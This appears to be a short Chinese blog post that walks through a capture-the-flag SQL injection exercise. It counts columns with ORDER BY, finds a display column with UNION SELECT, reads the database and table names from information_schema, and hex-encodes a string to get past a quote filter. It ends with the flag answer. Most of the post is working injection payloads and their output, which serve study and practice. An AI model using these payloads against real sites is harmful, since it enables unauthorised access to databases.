實戰1-注入

託帕發表於2018-08-16

order by 19%23
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23

第二位有顯示位,可以用聯合查詢爆出表名

and 1=2 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23

資料庫為 interplay

and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema='interplay'%23

網頁報錯,說明單引號被過濾

and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=0x696e746572706c6179%23

banners,banners_banner_id_seq,careers,careers_career_id_seq,downloads,franchises,franchises_franchise_id_seq,news,news_news_id_seq,screenshots,screenshots_screenshot_id_seq,titles,titles_title_id_seq

資料庫

的第一個表為banners

即flag為   flag{banners}

 

相關文章